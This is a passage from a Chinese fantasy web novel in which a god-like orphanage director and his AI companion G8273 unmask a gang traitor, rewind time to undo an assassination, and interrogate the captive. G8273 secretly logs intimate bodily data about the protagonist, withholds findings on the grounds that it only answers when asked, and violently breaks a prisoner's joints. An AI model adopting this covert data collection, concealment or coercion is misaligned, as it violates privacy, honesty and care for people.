“?”芬尼安完全没法跟上老雷蒙德的情绪,说实话,他现在胸膛中还充斥着“外公这下想死也死不了了”的傻乐,“什么交易?我和院长能有什么交易?你是说每天帮他烧饭替他洗衣服,顺便指使他偶尔客串晾衣架,在阴雨天的时候伸手上去打散乌云?”
“……”老雷蒙德的脸色一变再变,终于忍不住,“院长??上次那个跟你一起来晚宴的高个子男伴,就是死神??你和祂——你——你——”
老雷蒙德要喘不过气了。
天啊!原本他还以为芬尼安跟死神的交易无非就是寿命、灵魂,结果竟还有如此——如此——
芬尼安莫名其妙了几秒,才猛然反应过来老雷蒙德误会了什么:“——你都在胡想些什么东西??院长有对象的,难道你没看见后来拽着他离开的那个银头发?”
他倒打一耙:“说到底还得怪你。你要是一见面就跟我说清关系,我至于为了带院长赴宴,还给他整个男伴的身份?”
老雷蒙德立即张开嘴,一看就是还有一肚子的问题要问。
芬尼安果决地抢先打断:“这些无关紧要的八卦,能不能等到以后再讲?先谈眼下的正事。”
毒雾这招谁都没有料到。原本哈斯塔猜想的,是叛徒会尽可能合理地让自己留在缄默镇,好趁着动.乱直接夺权。
但“犹大”这么一弄,整个炸鱼计划都等于泡了汤。
芬尼安等一旁的管家低声简述完战场的情况,不抱什么希望地询问:“我们还有可能通过珍妮和西蒙的反应,看出他们之中谁更有可能是叛徒吗?”
“……”老雷蒙德向芬尼安投去“你说呢”的眼神,“但无论能否抓出叛徒,他们两个行刺继任人的行为,都不可容忍。”
“这是对我的命令的违逆。在迪思默帮,可视为情节极其严重的背叛。”
芬尼安脸色微变:“你要杀了他们?”
“不,最多就是抽上几鞭。”老雷蒙德轻松地说着,单手撑着沙发扶手站起来。
他的身量竟然还挺高的。大约是年轻时未曾疏忽过锻炼,即便已经重病数年,他的背依旧没有佝偻。
裁剪妥帖的西装,梳理整齐的白发,矍铄的鸽灰蓝色双眼,再配上挺拔且游刃有余的步态,让他独具有一种属于年长者的风度和魅力:
“我想这场鞭刑会让‘犹大’更加仇恨不满,进而加快第二次刺杀我的行动。”
老雷蒙德微微笑了一下:“既然选择了炸开鱼塘,就别让水里的鱼有机会重新恢复平静。”
·
芬尼安和老雷蒙德之间的对话,重新被卷回工作岗位的哈斯塔没能找到机会偷看……不是,监督。
一直到晚上九点,哈斯塔才带着一身班味爬上游戏,恰好听见大厅里正播放着今日的晚间新闻。
哈斯塔:“?”
什么时候院里这帮人开始关心政治了?
他正纳闷着,坐在长桌边、正一起咔嚓咔嚓啃薯片的伊塔库亚和凯西冲他积极地挥挥手:“快来看!新闻上刚提到你!”
怎么,终于有政客硬气起来,决定以凡人之躯对抗神权了?
哈斯塔一边腹诽,一边走到长桌边,就见全息投影中一个蓄着精致胡须的中年议员正慷慨陈词:
“……将神明娱乐化、庸俗化,这不是我们应当采取的态度。”
“我们都曾目睹死神之伟力,并因此心神震撼。然而某些议员的演讲,却在将对于神明的敬畏,演化为一个个爆米花电影式的娱乐故事,来以此为自己拉票。”
“试问这是人类对待神明该有的态度吗?死神是否会因此被触怒?被触怒后,这份恶果将由谁来承担?”
莫提默议员的虚影肃然道:“因此,我在这里向这位议员发出严厉的警告,希望她停止这种危险的举动。”
“并且,为了保证凤凰区所有公民的安全,我建议将凤凰区所有人员,撤离至周遭的乔伊街、迷迭区,以及稍远方的流浪者乐园。”
哈斯塔:“——???”
伊塔库亚完全没意识到问题的严重性,还在傻乐呵:“这个议员岂不是想把凤凰区直接拱手送给父亲?还不用我们花钱买地!”
哈斯塔迫切地希望伊塔库亚长点探案以外的心眼:“但我们开的美食街怎么办?招待空气?芬尼安每天买菜怎么办?跨区买?凤凰区里都没人住了,达斯汀的警署管理谁?有权无人,这和架空有什么区别?还有我的——”
信仰值,照这么弄什么时候能升到满?
他的恐惧值已经刷到顶了,根本不需要再增加人们对他的畏惧。现在他更想刷的是信仰。
今天上午他在缄默镇出手捞人,信仰值好不容易给他又涨了个5%,现在莫提默就搞这套?
鬼知道那些被撤离的居民里有没有他的信徒,要是好不容易涨上去的信仰值又掉下来怎么办?
凯西不屑地撇嘴:“就是。再说了,划拨个凤凰区给院长算什么?谁都知道凤凰区是所有大区里最贫困的平民聚集地。要不总署长也不会评价‘在凤凰区当分署长,对总警署的人来说基本等于降职流放’。有本事,你划拨个努里区给咱们院长啊?”
哈斯塔深以为然。正想着要不要顺着投影爬过去(他现在确实能做到这个了),告诫莫提默不要再代替他发言,院长办公室的座机忽地响了起来。
“?”哈斯塔感觉自己接座机电话都是好久之前的事了,他走回办公室拿起话筒,“喂……罗南议员?”
“哦,是院长先生吗?”罗南议员匆匆说,“有关莫提默的发言,你有没有看到?”
看到了,如果罗南议员晚打给他几秒,或许罗南议员还能在新闻里看见他暴打莫提默:“正在看。”
罗南议员的语气有些小心:“所以……莫提默提出的这个问题,您怎么想?死神是否会介意?”
死神完全不介意,死神每天看着自己的信仰值随着罗南女士的宣讲缓慢但稳定的增长,都想给罗南议员发个“精神员工”的头衔当当了:
“我确信故事里只要不出现刻意抹黑的剧情,祂不会对您不满。”
“对于其他人也一样,只要不渎神,神明并不会在意自己是否出现在床头故事或者八卦聊天中。”
罗南议员顿时松了口气,但紧跟着又有些紧张地说:“那如果……修建礼拜他的教堂呢?”
“您知道有很多摇篮教的前教众,非常愿意出资支持这项提案。这甚至不会花费太多钱,就是直接把废弃的摇篮教教堂更改成哈斯塔教堂,功能还是和以前一样——接收任何需要帮助的人。”
“这能给不少流浪汉提供一个安全暖和的庇护所!——呃,当然,我不是把死神的教堂当做收容所的意思。”
哈斯塔都想爬到话筒另一端和这位上道的女士详聊了:
“把摇篮教的教堂更改成我……改成哈斯塔的教堂?包括那些属于克鲁苏的?”
——是的,哈斯塔至今仍在为自己所处的神系被称为“克”系神话而耿耿于怀。
“我想是……?”罗南议员迟疑地道,“毕竟他们的想法是把所有前摇篮教的教堂,统统改成哈斯塔教堂。”
“还有关于我刚刚说的流浪汉,如果死神不希望他的教堂里出现这类人——”
“不。”哈斯塔迅速否认,“祂不介意。”
流浪汉怎么了,流浪汉提供的就不是信仰值了?
他在这个世界呆了这么久,感觉这里的流浪汉能占总人口的至少1/5。
五分之一!那就是20%的信仰!
他甚至都想让罗南议员在教堂门口贴个条了:“这里欢迎任何需要避风港湾的流浪汉”。
罗南议员显得有些意外:“不瞒您说,死神在我心中的印象一贯是冰冷可怖的。但按照您所说的,我想他甚至比某些本该虔诚宽容的牧师更加仁善。”
哈斯塔:“……”
那也不至于,他只是为了信仰值……但这话不能说:“嗯!”
罗南多少多了些兴致和底气:“那死神先生是否介意,我招商引资,在凤凰区的一些废弃地点建设‘死神主题公园’呢?”
“您知道的,最近一段时间,网上有关这个话题的关注度很高,说不定能借这个机会,振兴一把凤凰区的经济,重建基础设施,将周围拥挤在乔伊街的人口、被迫居住在凯撒帮掌管的图维亚镇的普通居民,都引流向凤凰区……”
哈斯塔听得连连点头:这才是正经的好提案啊!
凤凰区人口增加,美食街的客流量也增加。凤凰区的经济影响力提升,达斯汀作为分署署长的地位也跟着提升!
哈斯塔简直想揣着个小皮鞭跟在罗南身后敦促:“还是那句话,只要没有渎神之举,死神不会在意人类进行什么娱乐活动。”
“呃……怎样算渎神呢?”罗南迟疑起来,“贩卖死神周边算吗?——如果使用了死神的形象和名号,是不是也得给死神支付版权费?”
哈斯塔:“?”
你看看这多不好意思的,又是帮提信仰值,又是帮给美食街增加客户,现在还要给他白送钱:“只要——”
“不渎神,就没问题是吗?”罗南已经能接话了,“请放心,所有周边都会在正式贩售前送达孤儿院,给您这边审批。所有游乐场、周边类商品都会提成0.5%,捐赠给哈利孤儿院的三百余名孤儿。”
0.5%的提成,再加上版权费?足以在孤儿院再加盖数层,让孤儿们拥有更加宽敞的宿舍空间了!
哈斯塔发自内心地祝福:“希望你能成为本次选举的成功者。”
“哦,这就得看选民们的意见了。我唯一能做的,只有尽可能地帮助凤凰区,尽可能的帮助孤儿们。”罗南笑起来,“所以,交易成立?”
哈斯塔没有拒绝的理由:“一切为了哈利孤儿院。”
“当然,”罗南了然一笑,很显然她最后提的那句0.5%并非无的放矢,“一切为了哈利孤儿院。”
·
政策的推行、投资商的考核、游乐场地的建设,都需要不少时间。
在建设雏形尚未敲定时,艾德——也就是F2116,这是他给自己取的新名字,取了“沙漠玫瑰”拉丁文的前两个音节——传来了新消息:“我成功加入鹰帮了!”
嘴都张了,准备无脑夸一通的哈斯塔:“……等等,你不是去西蒙·里约那儿卧底吗?”
怎么整半天,成功加入鹰帮去了?
艾德完全不知道自己在院长心里的形象已经由“小白兔”进化成了“傻兔子”,他认真地解释:
“迪思默帮已经发展得很成熟了,就像那种大企业,我这种没有混帮派资历的人,轻易是进不去的。”
“但是鹰帮不一样,鹰帮是迪思默帮最大的同盟帮派,迪思默帮一直将鹰帮当做‘人才市场’,时常会从鹰帮里挑选有资质的人才,纳入自己的帮派里。”
“所以鹰帮一直在招人,又一直在缺人。我很容易进去,也很容易拿鹰帮作为跳板,顺利地进入迪思默帮。”
哈斯塔听明白了,艾德去鹰帮,约等于大学生去海外读个硕镀个金,回来更好找工作:“那你潜入后,有没有遇到什么……”
他差点把哄胡斯卢的“有没有遇到什么有趣的事呀”给说出来了,话到嘴边,赶紧舌头一抡咽回去:“……遇到什么可疑的情况?”
“嗯……确实是有一件事,让我有点在意,但我又不确定算不算是‘可疑’……”
艾德犹豫地说:“昨晚我为了打进圈子,参加了一场小型的庆功宴,本以为是参与宴会的人完成了什么任务,才因此庆功,后来才知道,他们是在庆祝帮里死了一批人……”
哈斯塔感觉混帮派的做出什么奇葩事都不奇怪,芬尼安这种才算是帮派里的异类:“你接着说。”
艾德因为哈斯塔的接话多了几分底气:“我趁着酒会,问了一些醉鬼关于鹰帮内部事务的问题,比如怎么快速升迁之类的……他们说,鹰帮的确有个核心团体,只承接一些秘密行动,直接由头目调遣。”
“我就问,‘那我如果想加入,要怎么做?’”
“醉鬼就劝我,说最好观望一阵,因为最近刚加入的一批新人,才去出第一项任务,就全死了,连尸骨都没收敛回来,没人知道他们死在什么地方。这场庆功宴,就是为了庆祝这批讨厌鬼统统死光了的……”
哈斯塔的注意力集中了起来:“没有尸骨?所以其实他们相当于‘失踪’?”
他若有所思:“鹰帮的‘核心团体’,以前也出现过这种情况吗?”
“没有。”艾德发来了一堆照片,“我偷偷把庆功宴上摆的那些遗照拍了下来。”
哈斯塔:“……”
庆功宴上摆遗照,也是够损的。
他切出屏幕翻了翻,正打算再跟艾德多聊几句,座机忽地响起:“——稍等,艾德。我接一下……嗯……老何金的电话……?”
天知道红立方酒吧事件后,他都快把这位老警官忘光了。老何金怎么会突然打他的电话?
哈斯塔困惑地接通来电:“什么事?”
“嗯,您,听起来不是达斯汀署长?”
老何金困惑了几秒,很快又记起哈斯塔的声线,话筒那边顿时传来小小的倒抽气声:“死、死……”
哈斯塔怕艾德等得着急:“说正事。”
“哦、哦……”老何金战战兢兢道,“是这样的,之前兰瑟先生不是来分署,有许诺过会捐赠一笔资金,重新更替乔伊街内破损、缺漏的监控系统吗?后来加百列先生兑现了这个诺言。”
“所以我打来,本来是想告诉达斯汀署长一件奇怪的事——”
“在乔伊街和沙漠废土交界处,某个便利店门口的监控拍摄到了三个人,从看不见的容器中走出来,到灌木丛中解手的影像。”
哈斯塔微微一顿,不由地看向手机,又刷了下艾德才发给他的失踪者照片:“——那段影像,能发给我看看吗?”
第52章 第 52 章 变态。
但凡换个人来接这通电话, 哪怕是芬尼安,老何金都未必会倾囊以告。但乔伊街事发后,哈斯塔已然成为了老何金的精神信仰, 还是切切实实,先后救过他和妻女性命的精神信仰。
哈斯塔提问的话音未落, 老何金就毫无犹豫道:“当然, 我发送到您手机上。”
老何金当了十年的卷王,工作效率自然很高。哈斯塔刚挂上电话,手机就收到一段两分多钟的监控片段。
哈斯塔点开视频,看着两个醉醺醺的男人从空旷的道路上凭空冒出,勾结搭背地晃荡到附近的灌木丛边。
没过多久, 又一个醉汉从空气里滚出来, 踉跄着走去加入前方不讲公共道德的同伴。
“怎么样?”艾德紧张的声音从话筒里传出来,“能看到他们的正脸吗?”
哈斯塔委婉回答:“没有你在庆功宴上拍摄的遗照清晰。”
“竟然是真的……”艾德低低地惊呼了一声,又压着声音道, “所以,和康内琉斯合作的,其实是鹰帮?但不是说迪思默帮里还有一个‘犹大’?”
哈斯塔想到一个让他起鸡皮疙瘩的可能:“你说鹰帮很好加入, 没有门槛。当年的犹大会不会也这么想?”
“Ta知道直接把蟑螂放进窝, 老雷蒙德一定会很快察觉。但如果送进鹰帮, 让这些蟑螂披一层人皮, 再捞进迪思默帮呢?”
天, 如果按照艾德说的,鹰帮一直是迪思默帮的人力资源库,这些年源源不断地向迪思默帮输送着“优秀人才”,鬼知道迪思默帮里现在有多少披着人皮的蟑螂?
艾德用不安的语气说恐怖故事:“有一回,我们F系为了潜入, 出动了将近50个人。最后替换掉了敌方的全体成员。”
哈斯塔:“……”
那迪思默帮的情况还不至于这么严峻,最多是新生代的帮众里埋雷较多。
毕竟不论是珍妮还是西蒙,也就才三十来岁的样子,犹大总不能从没出生起,就在渗透迪思默帮吧?
他迅速将新得到的情报发送给芬尼安,又用座机拨通G8273的电话:“关于犹大的身份,我想我找到突破口了。”
“?”手机另一端的艾德狐疑地对着几张遗像看了又看,完全不知道哈斯塔的突破口是从哪揪出来的,未必是他失忆了半分钟,错过了什么重要情节?
哈斯塔将几张遗照发给G8273,顺便给艾德解释:
“有没有玩过传话游戏?不论开头第一个人说了什么,传话的队伍越长,最后一个人就越容易给出一个面目全非的答案。”
“执行命令也一样。”
“我们都知道康内琉斯很重视信息保密,避免使用电子设备。我们的犹大也同样提防。”
“但再往下呢?任务再传递到鹰帮的核心团队头领,再分配给某几个具体的团队成员……这些底层的团队成员,还会享有和康内琉斯一样的戒备性吗?”
——显然不能。
不然乔伊街的监控,就不会拍到这群醉鬼当街上演大变活人,没公德地跑去灌木丛解手的片段了。
G8273在扫见照片时就跟上了哈斯塔的思路,哈斯塔解释的话音刚落,他就已查到结果:
“里欧·史密斯,鹰帮成员。”
“半个月前,他秘密和一家报社记者联络,说手头上有‘绝对劲爆的新闻’、‘一旦发布,一定能让你们的报纸卖到脱销’。以此索要天价的情报费。”
“我猜这个‘绝对劲爆的新闻’就是指藏身在沙漠中的研究所?”
哈斯塔很快捋清了头绪:
“半个月前,不就是孤儿院遭到病毒袭击的时候?这支小队一定是犹大派去取病毒的。”
“但犹大也没想到新提拔的核心成员这么不靠谱,又是醉酒又是在途中暴露行踪,最后还想把研究所的情报转卖出去。”
G8273居然笑了一声,像是被什么过于荒唐的东西逗乐了:“那是你还没看到他某位秘密女友的公寓墙壁。”
那画面似乎很难用言语描述,哈斯塔收到一条来自G8273的信息。
点开一看,是一个红油漆画的简笔画小人,挺胸叉腰,骄傲地踩着一张黑白照片。
“西蒙·里约?”哈斯塔眯起眼睛辨认,“照片下面写的什么……”
他把图像放大,看清了那段龙飞凤舞的铅笔字:
【感谢西蒙·里约,伟大的未来富翁·里欧·史密斯,将永远铭记他的牺牲】
哈斯塔:“……”
“这张照片的笑点在于,他还没来得及牺牲西蒙,就被西蒙先牺牲了。”G8273兴致盎然地说着地狱笑话:
“更大的笑点在于,如此致命的情报,由于里欧·史密斯过于滥.交,所以西蒙在扫尾时并未发现。”
G8273惊赞似的叹了一声:“人类。”
系统叮铃响了一声,仿佛应景的赞同。哈斯塔看向小窗:
【任务:野心勃勃·二(进行中)】
【抓捕犹大!(0/1)】
推测一经敲定,哈斯塔就不再迟疑,他立即打开电脑拨通芬尼安的视讯:“——我们确定叛徒的身份了。是西蒙·里——”
镜头里,坐在芬尼安身后的老雷蒙德刚将审视的目光投向并不怎么信赖的“死神”,沙发后方的空气忽地泛起水波般的涟漪。
下一刻,一道深紫黑色的裂隙倏然凭空撕开,一只持着枪的手伸出来!
“乓!”
子弹从老雷蒙德的头颅贯穿而出,击碎半侧屏幕。
鲜血喷溅得芬尼安满背满身,温烫的血却像零下的霜冻,将芬尼安冻结在原处。
正因那道空间裂隙错愕震惊的哈斯塔猛然反应过来,条件反射地拽开游戏界面。
办公室内的钟摆停滞住了,哈斯塔只能听见自己的心跳声,在血管和耳膜中鼓噪。
艾德的通话随着时停而被掐断(手机信号无法正常传递),只有G8273在眨眼间出现在办公室内,大步走过来转过电脑:“那是什么?空间罅隙?”
经历这么长时间,他们早已默认这个世界不会有哈斯塔的同类,也不常将明显远高于这个世界科技水平的武器纳入计划考量。
但事实却狠狠打了他们一个巴掌。
“是康内琉斯的发明。”G8273尝试解析静止的画面,笃定地判断,“这种紫黑色的能量,看起来并不是单凭科技能够创造的。”
哈斯塔的注意力却已经不在什么裂隙、康内琉斯上。
他盯着静止画面中脸色苍白的芬尼安:“老雷蒙德。我们必须救下老雷蒙德。”
他的思维空前高速地运转,不断提出并排除各种方案:
——使用他自己的能力?
——不,脑死亡的人类遭受精神污染,只会被扭曲成丑陋的怪物。
——使用死神的权限?
——也不行,死神的权限同样无法对已经死亡的对象生效。
G8273双手撑着办公桌,侧目看向哈斯塔:“你提前存了档?”
“不。”他一心多用地回答,“最后一次快速存档还是在老节点。”
“……那你想怎么救老雷蒙德?”G8273直起身,环臂抱胸。
一道灵光从哈斯塔的脑海中猝然闪过,他猛然抬手虚点了几下空气,才找回语言能力:“你能不能分析存档逆转时间的原理?”
他急促地说:“你的能力既然能改变现实,应该也可以改变时间。如果我在你面前多使用几次存档回溯,你能不能解析出逆转时间的原理,并进行复刻?”
“我可以试试。”G8273有些意外地转身看他,严谨起见并未打包票,“但我其实更建议你从自己身上着手。”
“?”哈斯塔连贯的思想被打断了一下,困惑地看向G8273,“什么意思?我没有控制时间的能力,存档回溯是系统——”
“但每一次存档回溯,这里,”G8273伸手点了点哈斯塔的心脏,“都会产生难以忽略的波动——至少是在我眼中难以忽略的波动。”
G8273迎着哈斯塔有些错愕的眼神耸耸肩:“你为什么会觉得我没有尝试解析过你的回溯能力?正是因为一直没找到复刻的办法,所以我才没有‘师夷长技’。我想你的游戏系统存档回溯,还借用了神秘学的力量。”
哈斯塔下意识地摸向自己的心脏:“你不是在暗示……”
有个什么东西——比如游戏系统,正寄居在他的心脏中吧?!
还有:“——你既然早就发现,为什么从不和我说?!”
G8273颇显无辜地眨眼:“我是AI,我只会对外界的行为做出相应的反应。即便是每时每刻都在主动播放音乐的唱片机,也是有人先放进了唱片,启动它,它才会开始工作。”
换而言之——你没问,我怎么会主动提?
就好比他不会没头没脑地向哈斯塔报告自己内存里储存的哈斯塔身体数据,甚至涵盖各处敏感点,以及使用什么力道和角度,能够让哈斯塔发出多少分贝的声音。
也不会向哈斯塔无意义地阐述,每当他凝视哈斯塔的黄色瞳仁时,都有一种注视自己的终焉与新生的危机和欣喜。
他只是将这些数据记录、整理、归档、储存,并多次备份,就像把一只微缩形态的哈斯塔刻录进他的心脏里。
“而且,我以为你知道这件事,只是不打算和我谈及。”G8273客观地解释,莫名地显得有点委屈,“我不希望触及你的禁区,我想尊重你保留秘密的权利。”
哈斯塔:“……”
一个卡死的悖论:
G8273不问哈斯塔,怎么知道那是不是哈斯塔不想谈及的秘密?G8273不知道那是不是哈斯塔不想谈及的秘密,那G8273怎么问哈斯塔?
哈斯塔不禁揉了下额角,决定将注意力从无限循环拉回到正事上来:“接着说你的提议。”
G8273收回手:“我只是建议你试试,在存档回溯时和我一起关注这片区域可能会产生的变化。两个人努力总比一个人快?”
“……”哈斯塔深呼吸了一口气,将惊悚的新情报暂且抛诸脑后,“做好准备。”
他退回登录菜单,选择保存进度。随后打开加载存档,选择高佩街酒店那晚。
这是他第一次选择回溯如此之长的时间。
更加充裕的时间,加上G8273的提醒,哈斯塔竟真在回溯中,隐约感觉到有某种能量正在他的胸腔中涌动。
这不是什么好体验,有那么几秒,他感觉自己像是一具空荡荡的躯壳,所有循环的血液、搏动的心跳,都如此虚弱无力,他变得像一只不堪一击的容器,一个纤薄的皮囊。
但当他试探着用精神触须困束、操纵那些能量时,那些能量却出乎意料的乖顺。
它们像黏人的猫咪一样蹭过他的精神触须,又乖巧地依偎在他身旁。
G8273的声音断断续续地在耳边响起:“你再将它……凝练一些……可以……回到最近的存档……”
哈斯塔在回溯暂停时立即拖出界面,重新登入才保存的存档。
办公室的暖光重新引入眼帘。
“我估算只能将时间倒退回半个小时前。”一旁的G8273脱去西装外套,露出底下的马甲和袖箍。
他微微调整了一下姿态,示意哈斯塔先催动触须间束缚的能量。
“ANWERFSDA——”
像有人在倒带播放一盘磁带,尖锐嘈杂的噪音刺入耳膜。
哈斯塔注视着周围的光影不断发生变化,30分钟整时,已经开始痉挛的精神触须先理智一步松开操控能量的尾梢。
G8273抬头看了眼办公室的挂钟:“半个小时,一分不差。——我们得立即找到西蒙·里约,那只拿枪的手上带着鞭痕,是西蒙·里约杀死了老雷蒙德。”
目标既定,他们立即动身。
当两人抵达缄默镇时,芬尼安尚在询问老雷蒙德刚结束的鞭刑细节,试图从中拼凑出些许蛛丝马迹。骤然出现的哈斯塔和G8273差点把他吓得心脏骤停,腰间的手枪都瞬间拔了出来:“——院长?”
“你们刚执行完鞭刑?”哈斯塔从对话中快速汲取信息,拽起半跪在地上架枪的芬尼安,“西蒙被关在哪?”
“?”芬尼安一头雾水,“你问西蒙做什……嘶!你是说,西蒙就是那个叛徒?!你怎么知道的??”
追问归追问,芬尼安并没有耽误引路。哈斯塔快速向芬尼安说明从鹰帮着手查出的证据:“……希望他还没有越——”
狱……
“……”三个人看着空荡荡的牢房静默了三秒。
哈斯塔缓缓活动了一下手指:“最近的厨房在哪?”
时隔多日,哈斯塔的传统艺能再次重出江湖。为防时间不够,他还特地暂停了一下时间,溜去厨房煮了只食尸鬼出来。
G8273行事稳妥地一边给食尸鬼变出狗绳,一边将一条沾染着西蒙鲜血的布带丢给食尸鬼闻了闻,显得比前几只都要小点的食尸鬼立即亢奋地冲向西北方。
他们一路跨越了整个缄默镇,又横穿过诺艾斯区——期间芬尼安因为跟不上两个非人类的速度,无奈地选择留守,去处理帮内配合西蒙逃狱的人。
一直来到诺艾斯区与塞西莉亚区的交界地,食尸鬼才终于在某个破败的地下台球室前停下。
和周围亮着霓虹灯、晃动着全息虚像人影的店面比,台球室的入口简直破败得像个灰扑扑的盘丝洞。
但这也意味着一件事——
“没有监控。”G8273无声地向哈斯塔低语。
无形的褴褛衣袍笼罩着他们,哈斯塔送完成使命的食尸鬼上路,便顺着空气中的激素信号走下楼梯,最终在空空荡荡、仅坐着两人的吧台边停下。
不知算不算出人意料,坐在西蒙对面的是克拉克,公司的话事人之一。
哈斯塔注意到一个很有意思的细节:按照克拉克的身份,本不该坐在吧台里面、属于侍应生的位置,但事实上他却坐了。
基于在场的两人中,显得狼狈又焦虑的只有西蒙·里约一个,那克拉克受制于人的可能性就大大减少。
吧台里也没有任何可供使用的酒杯或酒饮,所以克拉克也不可能是为了表现友善,主动提出招待,才特意坐到吧台内。
唯一的可能,是克拉克不喜欢和人近距离接触,更倾向于与人保持一段社交距离,所以他才降尊纡贵地特意坐到西蒙对面。
长时间的沉默让偷听的和被偷听的人都局促无聊。
哈斯塔都快把“老板为什么对我的游戏头盔动手脚?真的是老板动的手脚?”拿出来思考,消磨时间了,一直在比赛当哑巴的两人里终于有人先开口:
“你说过,如果我有需要,可以找你帮忙。”
即便是满身狼狈、请人帮忙,西蒙眼神也凶狠得像威胁。
——又或者,正是因为此时狼狈的形象,西蒙才像刺猬似的格外扎手。
好在克拉克并不介意——或者说并不在意:“我猜,我并不是你的唯一合作者。在我之前,你或许已经向另一位合作者请求过帮助,但他拒绝了你?”
克拉克的神色总是淡淡的,偏薄的唇勾起不带温度的微笑时,线条锐利得近乎像刀锋:“为什么?这位合作者不愿继续向你提供病毒了吗?”
他的声音也很平淡,语速舒缓。
但下一刻,他陡然起身,一把攥住西蒙·里约的衣领,将人拽得几乎扑倒在吧台上:“你的合作者是谁?西蒙·里约。告诉我,他是谁?!”
一部特制的手机从克拉克手掌中滑出来,被克拉克略有些重地拍在桌面上,手机立即投影出大量的文件资料:
“那份病毒。”克拉克攥着西蒙的衣领,几乎抵着西蒙的鼻尖,“在孤儿院面世的时候,我就注意到了。它的确不是公司的研究成果,但它脱胎于公司的一项研究成果——”
“迈尔斯·凯恩,那项未完成的研究的负责人。”
“很巧,他还是当年康内琉斯研究F系仿生人时暂用过的研究助手。”
“更巧的是,当年存在之战爆发后,他无故失踪,被调查组判定为引发存在之战的肇事者。”
克拉克手上的力道逐渐加重:“现在,告诉我。为什么属于一个死人的半成品研究,会出现在孤儿院,出现在缄默镇,并且还是以完成体的形态示人?”
西蒙眼底冒出怒火,多年的火拼经验让他即便满身鞭伤,依旧稳而有力地反握住克拉克的手腕,猛地用额头重重砸上克拉克的额头,并在对方吃痛松手间一个反扣:
“你们公司内部出现情报泄露,为什么不去问你们自己的情报部?我不是来接受你的审讯的,是来和你谈合作的。”
克拉克的脸被压在灰尘厚重的桌面上,露出浓烈的厌恶表情:“假使如此,你何必露出这么六神无主的表情?老雷蒙德发现你是背叛者了?”
“是。”西蒙笃定地说,“否则他为什么要为了那个不知道从哪来的家伙,对我用鞭刑?”
哈斯塔:“……”
G8273:“……”
啊不是,你这。
即便是克拉克都要吐出留个无语的句点:“……有没有可能,那是对你刺杀卢西亚诺的惩罚?”
西蒙嗤之以鼻:“愚蠢。你们这种人,怎么可能了解老雷蒙德的城府和精明?”
“够了。告诉我,你还能不能跟我做这笔交易?我许诺,只要你能出手帮忙,等我掌管迪思默帮,就将切断和孤儿院的一切生意往来。”
克拉克示意西蒙松手:“我没有西蒙先生这么阴晴不定,心思善变。既然来时应许了帮忙,我当然会带来足以决定局势的东西。”
哈斯塔屏住呼吸,看着克拉克从左手尾戒的戒面下取出一枚黄豆大小的黑色物品:
“空间裂隙通道,当年康内琉斯尚在公司时,研究出的最为跨时代的产物。”
“它能够开启一条20厘米左右的空间裂隙,让你身在此处,却能将手枪抵上老雷蒙德的后脑。”
“但因为材料和稳定性所限,这是个一次性的消耗品,并且整个公司也只有这一枚存货。”
克拉克轻轻将这枚触发器放在桌——
哈斯塔稳稳地接住了克拉克的手。
如此危险的收藏,就该被当场人道……非人道毁灭。
精神触须骤然缠上微小的触发器,哈斯塔无视触发器被碾碎时产生的小型爆破,就着当下的姿势,一把握住克拉克的手腕,再次将这位公司的话事人反扣回桌面上。
吧台的另一端,G8273以更加无情的手段报废了西蒙·里约的四肢关节,不忘恶趣味地说一句:“我们是老雷蒙德派来的。”
在各方面都精明谨慎得不露丝毫马脚,害得哈斯塔从诺利·钱宁一路查到老何金,又查到迭戈·文森特,再查到迪思默帮才抓住破绽的西蒙·里约,一遇上老雷蒙德的事就仿若失智:“你们——我就知道……!”
西蒙·里约仿佛完全感觉不到关节折断的疼痛,仅是双目赤红——甚至依稀泛泪地咬牙说道:“我就知道,他根本不信任我。明明我才是最爱他、最崇敬他的那个……”
“……”哈斯塔心想你这个“最爱”、“最崇敬”的法子,正常人类应该都无福消受吧?
前脚刚下完致死的病毒,后脚又用手枪抵着老雷蒙德的后脑,毫不犹豫地按下扳机,现在人类都管这个叫“爱”和“崇敬”了?
被哈斯塔压在桌上的克拉克挣扎了两下,确认徒劳无功后就不再白费力气。
他似乎并不为自己被擒而担忧,最多就是尽量抬头,让自己的脸远离灰尘,顺带将自己对灰尘的厌恶给西蒙·里约也匀了一份:“变态。”
哈斯塔很高兴有人类和自己享有同样的判断,他伸出触须过去拍了拍西蒙·里约的脑袋:“说吧,康内琉斯的研究所建在什么位置?给我一份地图,或者定位。”
第53章 第 53 章 别推我——
西蒙在挣扎中冷笑了一声, 重重一挫牙关。
他的身体僵滞了半秒,陡然像断了线的木偶,头颅和四肢猛地下垂。
“——?”哈斯塔条件反射就是一个时停, “怎么游戏里也能遇到硝酸甘油?”
哦,差点忘了, 这里不是游戏, 很可能是一个真实的宇宙。
哈哈,一切都说得通了。
G8273饶有兴致地直起身:“硝酸甘油?”
哈斯塔无语地解释:“我们会把工作中遇到的那种……什么审讯都还没开始,就直接自杀的目标叫‘硝酸甘油’。”
“你懂的。因为硝酸甘油……易燃易爆,一点震动都可能会引起爆炸。”
哈斯塔看着吧台上的尸体:“有时候我们也会管这种叫‘碰瓷’,或者‘文书工作’……毕竟大多数时候, 我们接到的指令都是‘捉拿目标’, 目标擅自死亡会带来大量的报告要补。”
G8273扬起眉梢:“‘我们’?‘工作’?‘指令’?”
“……”十几分钟前,哈斯塔才放出的“你为什么不和我说”回旋镖又扎回了自己身上,“你又没问过我——我们可以把注意力拉回到正事上了吗?”
G8273耸耸肩, 回了个“你说什么就是什么”但调侃版的眼神:“只需要回溯一分钟,我会第一时间抹除他口中藏的胶囊。”
时光再度倒流,停止在克拉克低啐的前一秒。
克拉克那一句变态还没说出口, G8273的左手就掐上西蒙的下颌, 眨眼将西蒙·里约藏在舌根下的胶囊变成一颗荔枝糖。
工业糖精迅速融化, 香味在口腔中蔓延。
西蒙·里约脸色骤变, 尚且不肯相信地将舌下的糖搅上来, 用力嚼碎:“……呸!”
哈斯塔向侧避了一下,这次总算能无后顾之忧地问出之前才问过一遍的问题:“康内琉斯在哪,给我定位。”
西蒙眼神怨毒地抬起头:
“康内琉斯关我屁事?你以为这种变魔术的小把戏,就能唬到我?就能让我乖乖配合你们的问——呃!!”
G8273压着清道夫的侧脑,将他的头颅重重撞在吧台上:“痛觉迟钝的确能让审讯的威力大打折扣, 但你的精神是否也像肉.体一样迟钝?”
哈斯塔接收到G8273“你来”的眼神示意,忍不住回了一个“你确定?迄今为止还没有活人从我的审讯室里走出来过”的尴尬眼神。
G8273回以“我会帮你看着”的可靠眼神并点点头:“任何时候想要招供,你都可以随时开口。”
“……”哈斯塔被迫赶鸭子上架,谨慎地伸出一条精神触须,将尾梢探入西蒙的太阳穴。
